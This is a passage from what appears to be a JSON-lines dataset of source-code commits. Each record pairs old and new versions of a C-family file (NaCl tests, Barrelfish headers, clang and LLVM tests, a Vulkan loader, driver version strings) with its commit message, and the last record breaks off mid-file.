{"commit":"1534a6d6d9baddc9904cc160bb24cf716e1b5c94","old_file":"tests\/syscalls\/sysconf_pagesize.c","new_file":"tests\/syscalls\/sysconf_pagesize.c","old_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stdio.h>\n\n#if defined(__GLIBC__)\n#include <unistd.h>\n#else\n\/*\n * TODO(bsy): remove when newlib toolchain catches up\n * http:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=2714\n *\/\n#include \"native_client\/src\/trusted\/service_runtime\/include\/sys\/unistd.h\"\n#endif\n\nint main(void) {\n#if defined(__GLIBC__)\n  long rv = sysconf(_SC_PAGESIZE);\n#else\n  long rv = sysconf(NACL_ABI__SC_PAGESIZE);\n#endif\n\n  printf(\"%ld\\n\", rv);\n  return rv != (1<<16);\n}\n","new_contents":"\/*\n * Copyright (c) 2012 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include <stdio.h>\n#include <unistd.h>\n\nint main(void) {\n  long rv = sysconf(_SC_PAGESIZE);\n  printf(\"%ld\\n\", rv);\n  return rv != (1<<16);\n}\n","subject":"Clean up sysconf() test to address a TODO that depended on a toolchain roll","message":"Clean up sysconf() test to address a TODO that depended on a toolchain roll\n\nBUG=https:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=3909\nBUG=https:\/\/code.google.com\/p\/nativeclient\/issues\/detail?id=2714\nTEST=run_sysconf_pagesize_test\n\nReview URL: https:\/\/codereview.chromium.org\/655963003\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@13915 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client"}
{"commit":"2041a58c8754e626666f6014b7dcae9b3513d20a","old_file":"include\/nme\/NmeApi.h","new_file":"include\/nme\/NmeApi.h","old_contents":"","new_contents":"#ifndef NME_NME_API_H\r\n#define NME_NME_API_H\r\n\r\n#include \"Pixel.h\"\r\n\r\nnamespace nme\r\n{\r\n\r\nenum { NME_API_VERSION = 100 };\r\n\r\nclass NmeApi\r\n{\r\npublic:\r\n    virtual int getApiVersion() { return NME_API_VERSION; }\r\n    virtual bool getC0IsRed() { return gC0IsRed; }\r\n};\r\n\r\nextern NmeApi gNmeApi;\r\n\r\n\r\n} \/\/ end namespace nme\r\n\r\n#endif\r\n","subject":"Put ImageBuffer into separate header","message":"Put ImageBuffer into separate header\n","lang":"C","license":"mit","repos":"madrazo\/nme,thomasuster\/NME,madrazo\/nme,madrazo\/nme,nmehost\/nme,nmehost\/nme,thomasuster\/NME,thomasuster\/NME,thomasuster\/NME,thomasuster\/NME,haxenme\/nme,nmehost\/nme,haxenme\/nme,haxenme\/nme,thomasuster\/NME,madrazo\/nme,madrazo\/nme,madrazo\/nme,haxenme\/nme,haxenme\/nme"}
{"commit":"2ab77e34c2e175d90c79dde9b708e3c5beff64de","old_file":"include\/sys\/dirent.h","new_file":"include\/sys\/dirent.h","old_contents":"\/*\n * Copyright (c) 2007, 2008, 2009, ETH Zurich.\n * All rights reserved.\n *\n * This file is distributed under the terms in the attached LICENSE file.\n * If you do not find this file, copies can be found by writing to:\n * ETH Zurich D-INFK, Haldeneggsteig 4, CH-8092 Zurich. Attn: Systems Group.\n *\/\n\n#ifndef DIRENT_H_\n#define DIRENT_H_\n\n#include <sys\/cdefs.h>\n\n#define NAME_MAX 512\n\nstruct dirent {\n\/\/    long d_ino;\n\/\/    off_t d_off;\n\/\/    unsigned short d_reclen;\n    char d_name[NAME_MAX + 1];\n};\n\ntypedef struct {\n    struct dirent dirent;\n    void *vh; \/\/ really a vfs_handle_t\n} DIR;\n\n__BEGIN_DECLS\nDIR *opendir(const char *pathname);\nstruct dirent *readdir(DIR* dir);\nint closedir(DIR *dir);\n__END_DECLS\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2007, 2008, 2009, ETH Zurich.\n * All rights reserved.\n *\n * This file is distributed under the terms in the attached LICENSE file.\n * If you do not find this file, copies can be found by writing to:\n * ETH Zurich D-INFK, Haldeneggsteig 4, CH-8092 Zurich. Attn: Systems Group.\n *\/\n\n#ifndef DIRENT_H_\n#define DIRENT_H_\n\n#include <sys\/cdefs.h>\n\n\/\/ Depending on header include order, this may collide with the definition in\n\/\/ newlib's <dirent.h>  See open issue: https:\/\/code.systems.ethz.ch\/T58#1169\n#ifndef NAME_MAX\n#define NAME_MAX 512\n#endif\n\nstruct dirent {\n\/\/    long d_ino;\n\/\/    off_t d_off;\n\/\/    unsigned short d_reclen;\n    char d_name[NAME_MAX + 1];\n};\n\ntypedef struct {\n    struct dirent dirent;\n    void *vh; \/\/ really a vfs_handle_t\n} DIR;\n\n__BEGIN_DECLS\nDIR *opendir(const char *pathname);\nstruct dirent *readdir(DIR* dir);\nint closedir(DIR *dir);\n__END_DECLS\n\n#endif\n","subject":"Duplicate definition of NAME_MAX macro","message":"Duplicate definition of NAME_MAX macro\n\nI broke the build in rBFIaee0075101b1; this is just a temporary band-aid and\nonly masks the more general issue described in T58.  If you have an idea for a\nbetter fix, please let me know.\n\nSigned-off-by: Zaheer Chothia <418c8e101762410c9c1204e516611673b0b87d3d@inf.ethz.ch>\n","lang":"C","license":"mit","repos":"BarrelfishOS\/barrelfish,BarrelfishOS\/barrelfish,BarrelfishOS\/barrelfish,8l\/barrelfish,kishoredbn\/barrelfish,BarrelfishOS\/barrelfish,kishoredbn\/barrelfish,kishoredbn\/barrelfish,BarrelfishOS\/barrelfish,kishoredbn\/barrelfish,BarrelfishOS\/barrelfish,8l\/barrelfish,kishoredbn\/barrelfish,8l\/barrelfish,kishoredbn\/barrelfish,BarrelfishOS\/barrelfish,8l\/barrelfish,8l\/barrelfish,BarrelfishOS\/barrelfish,8l\/barrelfish,BarrelfishOS\/barrelfish"}
{"commit":"e76435c6c60bf1247d6bb91fe8cf5e57a896da55","old_file":"src\/main\/c\/emulator\/src\/config.h","new_file":"src\/main\/c\/emulator\/src\/config.h","old_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/#define QEMU\n#define SIM\n#define OS_CALL 0xC0000000\n#define DTB 0xC3000000\n\n#endif\n","new_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/#define QEMU\n#define SIM\n\n#ifndef OS_CALL\n#define OS_CALL 0xC0000000\n#endif\n\n#ifndef DTB\n#define DTB 0xC3000000\n#endif\n\n#endif\n","subject":"Allow to set custom DTB\/OS_CALL addresses","message":"Allow to set custom DTB\/OS_CALL addresses\n\nSetting those from command line during compilation allows\nto create a custom setup without the need of modifying the\nsources.\n","lang":"C","license":"mit","repos":"SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv"}
{"commit":"d1808f380aed0fa19573909ada3e26233c80f87c","old_file":"test\/CodeGen\/microsoft-call-conv.c","new_file":"test\/CodeGen\/microsoft-call-conv.c","old_contents":"","new_contents":"\/\/ RUN: %clang_cc1 -emit-llvm < %s | FileCheck %s\n\nvoid __fastcall f1(void);\nvoid __stdcall f2(void);\nvoid __thiscall f3(void);\nvoid __fastcall f4(void) {\n\/\/ CHECK: define x86_fastcallcc void @f4()\n  f1();\n\/\/ CHECK: call x86_fastcallcc void @f1()\n}\nvoid __stdcall f5(void) {\n\/\/ CHECK: define x86_stdcallcc void @f5()\n  f2();\n\/\/ CHECK: call x86_stdcallcc void @f2()\n}\nvoid __thiscall f6(void) {\n\/\/ CHECK: define x86_thiscallcc void @f6()\n  f3();\n\/\/ CHECK: call x86_thiscallcc void @f3()\n}\n\n\/\/ PR5280\nvoid (__fastcall *pf1)(void) = f1;\nvoid (__stdcall *pf2)(void) = f2;\nvoid (__thiscall *pf3)(void) = f3;\nvoid (__fastcall *pf4)(void) = f4;\nvoid (__stdcall *pf5)(void) = f5;\nvoid (__thiscall *pf6)(void) = f6;\n\nint main(void) {\n    f4(); f5(); f6();\n    \/\/ CHECK: call x86_fastcallcc void @f4()\n    \/\/ CHECK: call x86_stdcallcc void @f5()\n    \/\/ CHECK: call x86_thiscallcc void @f6()\n    pf1(); pf2(); pf3(); pf4(); pf5(); pf6();\n    \/\/ CHECK: call x86_fastcallcc void %{{.*}}()\n    \/\/ CHECK: call x86_stdcallcc void %{{.*}}()\n    \/\/ CHECK: call x86_thiscallcc void %{{.*}}()\n    \/\/ CHECK: call x86_fastcallcc void %{{.*}}()\n    \/\/ CHECK: call x86_stdcallcc void %{{.*}}()\n    \/\/ CHECK: call x86_thiscallcc void %{{.*}}()\n    return 0;\n}\n\n\/\/ PR7117\nvoid __stdcall f7(foo) int foo; {}\nvoid f8(void) {\n  f7(0);\n  \/\/ CHECK: call x86_stdcallcc void (...)* bitcast\n}\n","subject":"Add missing test case, provided by Steven Watanabe.","message":"Add missing test case, provided by Steven Watanabe.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@104037 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"5db8b0845e766877bebc23ad823c1681e2218624","old_file":"vendor\/brightray\/browser\/net_log.h","new_file":"vendor\/brightray\/browser\/net_log.h","old_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BROWSER_NET_LOG_H_\n#define BROWSER_NET_LOG_H_\n\n#include \"base\/files\/scoped_file.h\"\n#include \"net\/log\/net_log.h\"\n#include \"net\/log\/file_net_log_observer.h\"\n\nnamespace brightray {\n\nclass NetLog : public net::NetLog {\n public:\n  NetLog();\n  ~NetLog() override;\n\n  void StartLogging(net::URLRequestContext* url_request_context);\n\n private:\n  base::ScopedFILE log_file_;\n  net::FileNetLogObserver write_to_file_observer_;\n\n  DISALLOW_COPY_AND_ASSIGN(NetLog);\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BROWSER_NET_LOG_H_\n","new_contents":"\/\/ Copyright (c) 2015 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BROWSER_NET_LOG_H_\n#define BROWSER_NET_LOG_H_\n\n#include \"base\/files\/scoped_file.h\"\n#include \"net\/log\/net_log.h\"\n#include \"net\/log\/file_net_log_observer.h\"\n#include \"net\/url_request\/url_request_context.h\"\n\nnamespace brightray {\n\nclass NetLog : public net::NetLog {\n public:\n  NetLog();\n  ~NetLog() override;\n\n  void StartLogging(net::URLRequestContext* url_request_context);\n\n private:\n  base::ScopedFILE log_file_;\n  net::FileNetLogObserver write_to_file_observer_;\n\n  DISALLOW_COPY_AND_ASSIGN(NetLog);\n};\n\n}  \/\/ namespace brightray\n\n#endif  \/\/ BROWSER_NET_LOG_H_\n","subject":"Add missing explicit include of net\/url_request\/url_request_context.h","message":"Add missing explicit include of net\/url_request\/url_request_context.h\n","lang":"C","license":"mit","repos":"brave\/muon,brave\/electron,brave\/electron,brave\/electron,brave\/muon,brave\/muon,brave\/electron,brave\/muon,brave\/electron,brave\/muon,brave\/muon,brave\/electron"}
{"commit":"711b144ed5c1bb22def8f0d7a46eb58a0bbc9bb6","old_file":"test\/tools\/llvm-symbolizer\/print_context.c","new_file":"test\/tools\/llvm-symbolizer\/print_context.c","old_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\/\/\n\/\/ See PR31870 for more details on the XFAIL\n\/\/ XFAIL: avr\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","new_contents":"\/\/ REQUIRES: x86_64-linux\n\/\/ RUN: %host_cc -O0 -g %s -o %t 2>&1\n\/\/ RUN: %t 2>&1 | llvm-symbolizer -print-source-context-lines=5 -obj=%t | FileCheck %s\n\n#include <stdio.h>\n\nint inc(int a) {\n  return a + 1;\n}\n\nint main() {\n  printf(\"%p\\n\", inc);\n  return 0;\n}\n\n\/\/ CHECK: inc\n\/\/ CHECK: print_context.c:7\n\/\/ CHECK: 5  : #include\n\/\/ CHECK: 6  :\n\/\/ CHECK: 7 >: int inc\n\/\/ CHECK: 8  :   return\n\/\/ CHECK: 9  : }\n","subject":"Revert \"[AVR] Mark a failing symbolizer test as XFAIL\"","message":"Revert \"[AVR] Mark a failing symbolizer test as XFAIL\"\n\nThis reverts commit 83a0e876349adb646ba858eb177b22b0b4bfc59a.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@309515 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"6bf6d60fb44205bab201688d949e3937ee8dbd26","old_file":"include\/net\/RestrictMacro.h","new_file":"include\/net\/RestrictMacro.h","old_contents":"#ifndef RESTRICTMACRO_H_\n#define RESTRICTMACRO_H_\n\n#ifdef COBRA_RESTRICT\n\n#define COBRA_RESTRICT_BREAK \\\n\t  break; \\\n\t  \n#define COBRA_RESTRICT_EXCEED_N_BREAK( EXP, NUM ) \\\n\tif (EXP > NUM) \\\n\tbreak; \\\n    \n#define COBRA_RESTRICT_EXCEED_N_RETURN_FALSE( EXP, NUM ) \\\n\tif ( EXP > NUM ) \\\n\treturn false; \\\n\t\n#else\n\t  \n#define COBRA_RESTRICT_BREAK  \n#define COBRA_RESTRICT_N_BREAK( EXP, NUM )   \n#define COBRA_RESTRICT_N_RETURN_FALSE( EXP, NUM )\t \n\n#endif\n\n\n#endif \/*RESTRICTMACRO_H_*\/\n","new_contents":"#ifndef RESTRICTMACRO_H_\n#define RESTRICTMACRO_H_\n\n#ifdef COBRA_RESTRICT\n\n#define COBRA_RESTRICT_BREAK \\\n\t  break; \\\n\t  \n#define COBRA_RESTRICT_EXCEED_N_BREAK( EXP, NUM ) \\\n\tif (EXP > NUM) \\\n\tbreak; \\\n    \n#define COBRA_RESTRICT_EXCEED_N_RETURN_FALSE( EXP, NUM ) \\\n\tif ( EXP > NUM ) \\\n\treturn false; \\\n\t\n#else\n\t  \n#define COBRA_RESTRICT_BREAK  \n#define COBRA_RESTRICT_EXCEED_N_BREAK( EXP, NUM )   \n#define COBRA_RESTRICT_EXCEED_N_RETURN_FALSE( EXP, NUM )\t \n\n#endif\n\n\n#endif \/*RESTRICTMACRO_H_*\/\n","subject":"Fix compilation error of RestrictionMacro.h in sf1 if COBRA_RESTRICT is not defined.","message":"Fix compilation error of RestrictionMacro.h in sf1 if COBRA_RESTRICT is not defined.\n","lang":"C","license":"apache-2.0","repos":"izenecloud\/izenelib,izenecloud\/izenelib,pombredanne\/izenelib,pombredanne\/izenelib,izenecloud\/izenelib,izenecloud\/izenelib,pombredanne\/izenelib,pombredanne\/izenelib"}
{"commit":"9b1a95eb03798b3b6d969eca13fbbf6a9b0156b0","old_file":"vk_default_loader.c","new_file":"vk_default_loader.c","old_contents":"#include \"vk_default_loader.h\"\n#include \"vulkan\/vulkan.h\"\n\n#if defined(_WIN32)\n#elif defined(unix) || defined(__unix__) || defined(__unix)\n#include <dlfcn.h>\nstatic void* (*loadSym)(void* lib, const char* procname);\nstatic void* loadSymWrap(VkInstance instance, const char* vkproc) {\n\treturn (*loadSym)(instance, vkproc);\n}\n#endif\n\nvoid* getDefaultProcAddr() {\n    #if defined(_WIN32)\n    \/\/ TODO: WIN32 Vulkan loader\n    #elif defined(__APPLE__) && defined(__MACH__)\n\t\/\/ TODO: Darwin Vulkan loader (via MoltenVK)\n    #elif defined(unix) || defined(__unix__) || defined(__unix)\n\tvoid* libvulkan = dlopen(\"libvulkan.so\", RTLD_NOW | RTLD_LOCAL);\n    if (libvulkan == NULL) {\n        return NULL;\n    }\n\n\tloadSym = dlsym(libvulkan, \"vkGetInstanceProcAddr\");\n\tif (loadSym == NULL) {\n\t\treturn NULL;\n\t}\n\n\treturn &loadSymWrap;\n    #else\n    \/\/ Unknown operating system\n    #endif\n}","new_contents":"#include \"vk_default_loader.h\"\n#include \"vulkan\/vulkan.h\"\n\n#if defined(_WIN32)\n#elif defined(unix) || defined(__unix__) || defined(__unix)\n    #include <dlfcn.h>\n    static void* (*symLoader)(void* lib, const char* procname);\n    static void* loaderWrap(VkInstance instance, const char* vkproc) {\n        return (*symLoader)(instance, vkproc);\n    }\n#elif defined(__APPLE__) && defined(__MACH__)\n    \/\/ #include <GLFW\/glfw3.h>\n    \/\/ static void* loaderWrap(VkInstance instance, const char* vkproc) {\n    \/\/     return glfwGetInstanceProcAddress(instance, vkproc);\n    \/\/ }\n#endif\n\nvoid* getDefaultProcAddr() {\n    #if defined(_WIN32)\n        \/\/ TODO: WIN32 Vulkan loader\n        return NULL;\n    #elif defined(__APPLE__) && defined(__MACH__)\n        \/\/ return &loaderWrap;\n        return NULL;\n    #elif defined(unix) || defined(__unix__) || defined(__unix)\n        void* libvulkan = dlopen(\"libvulkan.so\", RTLD_NOW | RTLD_LOCAL);\n        if (libvulkan == NULL) {\n            return NULL;\n        }\n        symLoader = dlsym(libvulkan, \"vkGetInstanceProcAddr\");\n        if (symLoader == NULL) {\n            return NULL;\n        }\n        return &loaderWrap;\n    #else\n        \/\/ Unknown operating system\n        return NULL;\n    #endif\n}\n","subject":"Fix no-return warning in loader, also change the internal variable names.","message":"Fix no-return warning in loader, also change the internal variable names.\n","lang":"C","license":"mit","repos":"vulkan-go\/vulkan,vulkan-go\/vulkan"}
{"commit":"21a451d7f90a7953e0eb64101188b136d076ad23","old_file":"ouzel\/RenderTarget.h","new_file":"ouzel\/RenderTarget.h","old_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include <algorithm>\n#include <memory>\n#include \"Types.h\"\n#include \"Noncopyable.h\"\n#include \"Size2.h\"\n\nnamespace ouzel\n{\n    namespace graphics\n    {\n        class Renderer;\n        class Texture;\n\n        class RenderTarget: public Noncopyable\n        {\n            friend Renderer;\n        public:\n            virtual ~RenderTarget();\n\n            virtual bool init(const Size2& newSize, bool useDepthBuffer);\n\n            TexturePtr getTexture() const { return texture; }\n\n        protected:\n            RenderTarget();\n\n            Size2 size;\n            bool depthBuffer = false;\n\n            TexturePtr texture;\n        };\n    } \/\/ namespace graphics\n} \/\/ namespace ouzel\n","new_contents":"\/\/ Copyright (C) 2016 Elviss Strazdins\n\/\/ This file is part of the Ouzel engine.\n\n#pragma once\n\n#include <algorithm>\n#include <memory>\n#include \"Types.h\"\n#include \"Noncopyable.h\"\n#include \"Size2.h\"\n#include \"Color.h\"\n\nnamespace ouzel\n{\n    namespace graphics\n    {\n        class Renderer;\n        class Texture;\n\n        class RenderTarget: public Noncopyable\n        {\n            friend Renderer;\n        public:\n            virtual ~RenderTarget();\n\n            virtual bool init(const Size2& newSize, bool useDepthBuffer);\n\n            virtual void setClearColor(Color color) { clearColor = color; }\n            virtual Color getClearColor() const { return clearColor; }\n\n            TexturePtr getTexture() const { return texture; }\n\n        protected:\n            RenderTarget();\n\n            Size2 size;\n            bool depthBuffer = false;\n\n            Color clearColor;\n            TexturePtr texture;\n        };\n    } \/\/ namespace graphics\n} \/\/ namespace ouzel\n","subject":"Add clear color to render target","message":"Add clear color to render target\n","lang":"C","license":"unlicense","repos":"Hotspotmar\/ouzel,elnormous\/ouzel,elnormous\/ouzel,elvman\/ouzel,elvman\/ouzel,elnormous\/ouzel,Hotspotmar\/ouzel,Hotspotmar\/ouzel"}
{"commit":"4977c30315dca68e18a8605f235803380b2644dc","old_file":"Source\/SuggestionView\/Source\/SuggestionView\/IMSuggestionView.h","new_file":"Source\/SuggestionView\/Source\/SuggestionView\/IMSuggestionView.h","old_contents":"\/\/\n\/\/  ImojiSDKUI\n\/\/\n\/\/  Created by Nima Khoshini\n\/\/  Copyright (C) 2015 Imoji\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to\n\/\/  deal in the Software without restriction, including without limitation the\n\/\/  rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/  sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/  IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class IMCollectionView;\n@class IMImojiSession;\n\n\n@interface IMSuggestionView : UIView\n\n@property(nonatomic, strong, readonly) IMCollectionView *collectionView;\n\n\/**\n * @abstract Creates a collection view with the specified Imoji session\n *\/\n+ (nonnull instancetype)imojiSuggestionViewWithSession:(nonnull IMImojiSession *)session;\n\n@end\n","new_contents":"\/\/\n\/\/  ImojiSDKUI\n\/\/\n\/\/  Created by Nima Khoshini\n\/\/  Copyright (C) 2015 Imoji\n\/\/\n\/\/  Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/  of this software and associated documentation files (the \"Software\"), to\n\/\/  deal in the Software without restriction, including without limitation the\n\/\/  rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/  sell copies of the Software, and to permit persons to whom the Software is\n\/\/  furnished to do so, subject to the following conditions:\n\/\/\n\/\/  The above copyright notice and this permission notice shall be included in\n\/\/  all copies or substantial portions of the Software.\n\/\/\n\/\/  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/  FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/  IN THE SOFTWARE.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@class IMCollectionView;\n@class IMImojiSession;\n\n\n@interface IMSuggestionView : UIView\n\n@property(nonatomic, strong, readonly, nonnull) IMCollectionView *collectionView;\n\n\/**\n * @abstract Creates a collection view with the specified Imoji session\n *\/\n+ (nonnull instancetype)imojiSuggestionViewWithSession:(nonnull IMImojiSession *)session;\n\n@end\n","subject":"Fix warning with nonnull member for SuggetionView","message":"Fix warning with nonnull member for SuggetionView\n","lang":"C","license":"mit","repos":"imojiengineering\/imoji-ios-sdk-ui,imojiengineering\/imoji-ios-sdk-ui,alex-hoang\/imoji-ios-sdk-ui,alex-hoang\/imoji-ios-sdk-ui,kbot\/imoji-ios-sdk-ui,imojiengineering\/imoji-ios-sdk-ui,kbot\/imoji-ios-sdk-ui,kbot\/imoji-ios-sdk-ui,alex-hoang\/imoji-ios-sdk-ui,imojiengineering\/imoji-ios-sdk-ui,alex-hoang\/imoji-ios-sdk-ui"}
{"commit":"25852400ccb5d7e35904cc3d270be741784ec22e","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.04.00.07-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t4\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.04.00.08-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t4\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.04.00.08-k.","message":"[SCSI] qla2xxx: Update the driver version to 8.04.00.08-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"a96d949d521ea368bee3060dfe430fed5a631450","old_file":"ProcessLauncher\/ProcessNative.h","new_file":"ProcessLauncher\/ProcessNative.h","old_contents":"#pragma once\n#include \"ProcessPlatform.h\"\n\nnamespace ugly\n{\n    namespace process\n    {\n        class ProcessNative : public ProcessPlatform\n        {\n        public:\n            ProcessNative(const std::string& path, const std::string& arguments);\n\n            const std::string& GetFullCommandLine() const override { return commandLine; }\n        private:\n            const std::string& commandLine;\n        };\n    }\n}","new_contents":"#pragma once\n#include \"ProcessPlatform.h\"\n\nnamespace ugly\n{\n    namespace process\n    {\n        class ProcessNative : public ProcessPlatform\n        {\n        public:\n            ProcessNative(const std::string& path, const std::string& arguments);\n\n            const std::string& GetFullCommandLine() const override { return commandLine; }\n        private:\n            std::string commandLine;\n        };\n    }\n}","subject":"Fix memory corruption, trailing & in member variable type.","message":"Fix memory corruption, trailing & in member variable type.\n","lang":"C","license":"mit","repos":"Ilod\/ugly,Ilod\/ugly,Ilod\/ugly"}
{"commit":"3ecfe194476fbead8cf8be9ccce138140945ce74","old_file":"copasi\/output\/CUDFunctionDB.h","new_file":"copasi\/output\/CUDFunctionDB.h","old_contents":"","new_contents":"\/*****************************************************************************\n* PROGRAM NAME: CUDFunctionDB.h\n* PROGRAMMER: Wei Sun\twsun@vt.edu\n* PURPOSE: Define the user defined function DB object to hold all the user\n*\t\t   defined function\t\t\t\t\n*****************************************************************************\/\n#ifndef COPASI_CUDFunctionDB\n#define\tCOPASI_CUDFunctionDB\n\n#include <string>\n\n#include \"copasi.h\"\n#include \"output\/output.h\"\n#include \"utilities\/utilities.h\"\n\nclass CUDFunctionDB\n{\nprivate:\n  \/**\n   * \"User-defined functions\" string in gps file \n   *\/\n  string mNameStr;\t\n  \/**\n   * The number of user defined function\n   *\/\n  C_INT16 mItems;\t\n  \/**\n   *  Vector of user defined functions\n   *\/\n  CCopasiVectorN < CBaseFunction > mUDFunctions;\n\npublic:\n  \/**\n   *\n   *\/\n  CUDFunctionDB();\n\n  \/**\n   *\n   *\/\n  ~CUDFunctionDB();\n\n  \/**\n   *\n   *\/\n  void cleanup();\n\n  \/**\n   *  Loads an object with data coming from a CReadConfig object.\n   *  (CReadConfig object reads an input stream)\n   *  @param pconfigbuffer reference to a 